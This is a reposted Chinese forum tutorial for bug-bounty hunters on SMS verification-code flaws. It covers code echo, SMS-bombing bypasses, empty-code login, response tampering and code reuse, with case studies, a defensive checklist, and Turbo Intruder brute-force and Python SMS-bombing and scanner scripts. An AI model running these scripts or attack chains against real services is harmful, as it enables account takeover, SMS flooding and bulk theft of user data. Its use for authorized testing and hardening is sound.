【💰】【网络安全】转载:一个六位数的验证码,我拿到了全站用户的明文密码
一个六位数的验证码,决定了你是月入 500 还是月月 5000。
2024 下半年年某头部 SRC 年度报告显示:验证码相关漏洞占所有逻辑漏洞的 37%,但平均奖金只有 800 元——不是因为这个洞不值钱,而是 90% 的人只挖到了最浅的那层。
我见过最值钱的短信验证码漏洞,是一个“置空验证码”导致的任意用户登录,奖金 8000 元。也见过最亏的,一个“验证码回显”提交者只拿了 500 元——他不知道这个漏洞可以组合成全站用户数据泄露。
短信验证码是 SRC 里出现频率极高、但价值方差极大的漏洞类型。差距不在漏洞本身,在你能走多深。
本文将首次完整公开我的短信验证码深度狩猎体系——从 6 大类漏洞、12 个实战案例到自动化武器库,全是干到拧不出水的干货
第一章 验证码漏洞的“七宗罪”
1.1 验证码回显:开发者的“低级错误”
本质:服务器在返回“发送成功”的响应时,直接把验证码明文包含在返回包中。
挖掘方法:
点击“获取验证码”,用 Burp 抓取响应包
在 JSON/XML 响应中搜索code,verifyCode,smsCode,vCode
等字段
重点关注登录、注册、密码找回接口
案例:某平台登录页抓包,响应包中直接返回:
{ "status": 200, "message": "发送成功", "code": "123456" }
攻击者可直接获取验证码登录任意账号。
1.2 短信轰炸:让厂商“破产”的漏洞
原理:服务器未对请求次数进行限制,导致可以无限重复发送短信。
基础绕过思路:
空格绕过:手机号后加空格
参数污染:手机号参数重复提交
大小写混淆:参数名大小写变异
多次叠加参数:如
mobile=13800138000,13800138000
案例 1:双写绕过
某系统发送一次后提示“90 秒内不可重复发送”。测试发现双写手机号可绕过:
mobile=13800138000,,13800138000
一次请求发送两条短信。
案例 2:参数遍历横向轰炸
某系统有smsType参数,值为 int 类型。遍历发现多个值对应不同功能点的短信:
smsType=1:登录验证码
smsType=2:修改密码
smsType=3:下单验证
smsType=4:注册验证
虽然单个功能点有限制,但组合使用可对同一手机号实现横向轰炸。
案例 3:订单 ID 生成轰炸
某下单支付功能:先下单生成订单 ID,再用订单 ID 发送验证码。每个订单只能发 5 次。
攻击思路:循环生成新订单 ID,每个发 5 次。10 个订单=50 次轰炸。
1.3 验证码爆破:四位数和六位数的差距
原理:4 位或 6 位数字验证码,若服务端未限制错误次数和时间,可暴力破解。
关键参数:
4 位验证码:0000-9999(1 万种组合)
6 位验证码:000000-999999(100 万种组合)
成功率关键:
验证码有效期(通常 4-6 分钟)
单 IP/单用户错误次数限制
验证码是否绑定手机号
实战脚本思路(使用 Turbo Intruder 高并发):
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for code in range(0, 1000000): code_str = str(code).zfill(6) engine.queue(target.req, [code_str]) def handleResponse(req, interesting): if '成功' in req.response or req.status != 200: table.add(req)
1.4 验证码绕过:逻辑缺陷的“骚操作”
类型 A:置空验证码
案例:某系统登录/注册共用接口/sms/registerAndLogin
正常请求:
{ "username": "13800138000", "code": "123456", "tenantId": "xxx" }
测试发现:将code 字段置空,同样返回token。直接绕过验证码,任意手机号可注册/登录。
进一步测试:已注册账号在登录口同样置空验证码,也返回token。任意用户登录,高危漏洞。
类型 B:图形验证码复用(虽不是短信,常组合出现)
案例:某系统登录口有图形验证码。抓包发现verifyId字段绑定验证码值。删除该字段后,验证码校验失效。
另一种情况:验证码不绑定session,一个验证码可重复使用,重放登录包 10 次均成功。
##1.5 验证码与订单 ID 绑定绕过
场景:支付、下单等敏感操作需短信验证,验证码绑定订单 ID。
挖掘思路:
A 账号下单,获取订单 ID1
B 账号下单,获取订单 ID2
尝试用 A 的验证码操作 B 的订单
实战案例:某电商平台,验证码只校验是否正确,未校验与订单 ID 的从属关系。导致攻击者可以用自己的验证码确认他人的订单,实现越权支付。
##1.6 响应包篡改绕过
场景:前端根据后端返回的status或code判断验证码是否正确。
挖掘方法:
输入错误验证码,拦截响应包
将"code": 400改为"code": 200放包,观察是否绕过
进阶技巧:返回包中直接包含 token,可替换为其他用户的 token 实现登录。
1.7 验证码复用(多阶段校验)
场景:一个验证码可用于多个操作(如注册和登录),且不失效。
挖掘方法:
注册时获取验证码123456登录其他账号时,使用同一个验证码123456若成功,则存在复用漏洞
第二章 实战案例库(完整攻击链)
##【案例 1】置空验证码 → 任意用户登录 → 后台接管
目标:某金融平台 APP
耗时:45 分钟
奖金:8000 元
攻击路径:
1.登录接口抓包:POST /api/login参数为 mobile 和 code
2.尝试删除code参数,请求体为空 → 返回错误
3.尝试code参数置空:"code": ""→ 返回 token,登录成功!
4.验证:用任意手机号均可登录,包括已注册和未注册的
5.登录后调用/api/user/info,获取用户敏感信息(姓名、身份证)
6.进一步:通过修改密码接口,重置任意账号密码
漏洞组合:置空验证码 + 任意用户登录 + 越权修改密码
厂商修复:紧急下线接口,24 小时内发布新版本
##【案例 2】短信轰炸+参数遍历+订单 ID 循环
目标:某电商平台
耗时:1.5 小时
奖金:3500 元
攻击路径:
1.密码找回功能抓包:POST /forget/sendCode,参数mobile和smsType=2
2.测试单手机号限制:发送 3 次后提示频繁
3.遍历smsType参数(1-20),发现smsType=1,2,3,5,7,11均返回成功
4.组合利用:一次请求可发 6 条短信
5.同时发现订单支付时验证码也走同一接口,订单 ID 可遍历
6.编写脚本循环生成订单 ID,每个订单可发 5 次验证码
结果:10 分钟内对单手机号发送 200+条短信
漏洞价值:短信轰炸导致厂商短信费用损失(每条 0.05 元,200 条=10 元),看似不大,但攻击者可无限消耗,且可针对所有手机号
【案例 3】验证码回显+信息泄露+密码重置
目标:某政务系统
耗时:20 分钟
奖金:1500 元
攻击路径:
1.注册页面抓包,点击获取验证码
2.响应包中直接包含:
{ "success": true, "verificationCode": "285731" }
3.直接输入验证码,注册成功
4.进一步测试:密码找回接口同样回显验证码
5.输入任意手机号,获取其验证码,重置密码成功
6.登录该账号,查看用户信息(含身份证、住址)
漏洞组合:验证码回显 + 密码重置
##【案例 4】验证码爆破+IDOR 批量拖库
目标:某大学教务系统
耗时:2 小时
奖金:4000 元
攻击路径:
1.登录接口验证码为 4 位数字(0000-9999)
2.测试发现:无错误次数限制,验证码有效期 30 分钟
3.编写 Turbo Intruder 脚本,40 线程爆破
4.45 分钟后爆破成功,验证码为3728
5.同时发现用户 ID 为连续数字(10000-20000)
6.登录后调用/api/student/info?id=10001,可查看其他学生信息
7.组合利用:爆破任意账号验证码,遍历 ID 获取全站学生信息
##【案例 5】订单 ID 绑定缺陷+越权支付
目标:某外卖平台
耗时:3 小时
奖金:6000 元
攻击路径:
1.下单时需短信确认,验证码绑定订单 ID
2.A 账号下单,获取验证码123456
3.拦截确认请求,将订单 ID 改为 B 账号的订单
4.请求成功,A 的验证码确认了 B 的订单
5.导致:攻击者可帮他人确认订单(或强制他人订单)
6.进一步测试:支付接口同样缺陷,可用自己验证码支付他人订单
7.尝试支付订单后,余额扣减成功,但订单属于他人
最终可造成任意用户资金损失
##【案例 6】图形验证码复用+密码爆破
目标:某 VPN 登录系统
耗时:1.5 小时
奖金:3000 元
攻击路径:
1.登录口有图形验证码,每次刷新变化
2.抓包发现验证码与verifyId绑定
3.测试发现:删除 verifyId 参数后,验证码校验失效
4.用 Burp Intruder 对密码进行爆破
5.成功爆破管理员弱口令admin/123456
6.登录后台,可导出所有 VPN 用户配置
##【案例 7】验证码复用+多阶段绕过
目标:某社交 APP
耗时:1 小时
奖金:2000 元
攻击路径:
1.注册接口:获取验证码123456,用该验证码注册成功
2.不退出,用同一手机号登录另一设备
3.登录接口输入同样的验证码123456,成功登录
4.验证码未失效,可重复使用
5.导致:攻击者截获一次验证码,即可永久登录该账号
第三章 自动化武器库
3.1 短信轰炸检测脚本
# sms_bomb_detector.py import requests import threading import time class SMSBombTester: def __init__(self, url, phone_param, phone): self.url = url self.phone_param = phone_param self.phone = phone self.headers = {"User-Agent": "Mozilla/5.0"} def test_normal(self): """正常发送一次""" data = {self.phone_param: self.phone} r = requests.post(self.url, data=data, headers=self.headers) return r.status_code def test_duplicate(self, count=10): """重复发送测试""" success = 0 for i in range(count): data = {self.phone_param: self.phone} r = requests.post(self.url, data=data, headers=self.headers) if r.status_code == 200: success += 1 time.sleep(0.5) return success def test_comma_bypass(self): """逗号分隔绕过""" phones = ",".join([self.phone] * 5) data = {self.phone_param: phones} r = requests.post(self.url, data=data, headers=self.headers) return r.text def test_parameter_pollution(self): """参数污染""" data = { self.phone_param: self.phone, self.phone_param + " ": self.phone, self.phone_param.upper(): self.phone } r = requests.post(self.url, data=data, headers=self.headers) return r.text # 使用示例 tester = SMSBombTester("https://target.com/sendSMS", "mobile", "13800138000") print(f"正常发送: {tester.test_normal()}") print(f"重复 10 次成功数: {tester.test_duplicate(10)}") print(f"逗号绕过结果: {tester.test_comma_bypass()}")
3.2 验证码回显扫描器
# code_leak_scanner.py import requests import json import re from concurrent.futures import ThreadPoolExecutor def scan_code_leak(url, phone): """扫描验证码回显漏洞""" payloads = [ {"mobile": phone}, {"phone": phone}, {"username": phone}, {"tel": phone} ] sensitive_fields = ["code", "verifyCode", "smsCode", "vCode", "verificationCode", "checkCode"] for data in payloads: try: r = requests.post(url, json=data, timeout=5) if r.status_code == 200: text = r.text for field in sensitive_fields: # 尝试多种匹配模式 pattern = f'"{field}"\\s*:\\s*"(\\d{{4,6}})"' match = re.search(pattern, text, re.IGNORECASE) if match: code = match.group(1) print(f"[+] 发现验证码回显: {field}={code}") print(f" 请求: {data}") print(f" 响应: {text[:200]}") return True except: pass return False # 批量扫描 urls = ["https://target.com/api/sendSMS", "https://target.com/api/forgotPassword"] with ThreadPoolExecutor(max_workers=5) as executor: for url in urls: executor.submit(scan_code_leak, url, "13800138000")
3.3 Turbo Intruder 爆破脚本(Burp 插件)
# 验证码爆破模板 def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) # 4 位验证码 for code in range(0, 10000): code_str = str(code).zfill(4) engine.queue(target.req, [code_str]) # 6 位验证码(如需,可分段) # for code in range(0, 1000000): # code_str = str(code).zfill(6) # engine.queue(target.req, [code_str]) def handleResponse(req, interesting): # 自定义成功条件 if 'success' in req.response or '登录成功' in req.response or req.status == 302: table.add(req)
#第四章 防御视角:为什么你的验证码总被绕过
4.1 开发者最常见的 7 个错误
1.验证码明文回显:调试代码未删除
2.无频率限制:单手机号/单 IP 可无限发送
3.验证码不绑定身份:A 的验证码可验证 B 的请求
4.验证码有效期过长:30 分钟甚至永久有效
5.错误次数无限制:可暴力破解
6.前端校验依赖:改响应包就绕过
7.验证码可复用:一个验证码多次使用
##4.2 企业自查清单
1.返回包中是否包含明文验证码?
2.单手机号/单 IP 是否有发送频率限制(如 60 秒 1 次,每日 5 次)?
3.验证码有效期是否≤5 分钟?
4.验证码错误次数是否限制(通常 3-5 次)?
5.验证码是否绑定用户会话(session 或 token)?
6.验证码是否绑定操作对象(订单 ID 等)?
7.验证码校验是否在服务端完成,而非依赖前端?
8.是否存在验证码复用漏洞?(使用一次后立即失效)
##4.3 正确实现姿势
1.生成验证码:随机 6 位数字,存储到服务端,绑定手机号和过期时间
2.发送限制:同一手机号 60 秒内只能发一次,每日最多 5 次
3.校验机制:验证码使用一次即失效,且必须与手机号、会话绑定
4.错误处理:错误次数达 3 次,需重新获取验证码
5.返回内容:响应包仅返回“发送成功”,永远不包含验证码
第五章 结语:漏洞的价值在于组合
一个验证码回显,单独提交可能只有 500 元。
但如果组合上密码重置接口,就能重置任意用户密码,价值 2000 元。
如果再组合用户 ID 遍历,就能批量获取全站用户数据,价值 5000 元。
漏洞的价值,不在于它本身,而在于你能用它做什么。
下次挖到短信验证码漏洞时,别急着提交。先问问自己:
这个验证码还能用在哪些接口?
有没有其他功能点也存在同样缺陷?
能不能组合成一条完整的攻击链?
当别人还在提交“短信轰炸”时,你已经能用它重置管理员密码了。
当别人还在报告“验证码回显”时,你已经拖走全站用户数据了。
这就是 500 和 5000 的差距。
-新年文章 祝各位安全技术员新年快乐,做自己热爱的事情就好像每天在游乐场玩一样
本文转载于 逍遥子讲安全
金币池金币数量会随着回复数量动态增加,回复有概率获得金币池中部分金币奖励。


{
"status": 200,
"message": "发送成功",
"code": "123456"
}
谁会直接在 response 中返回这个啊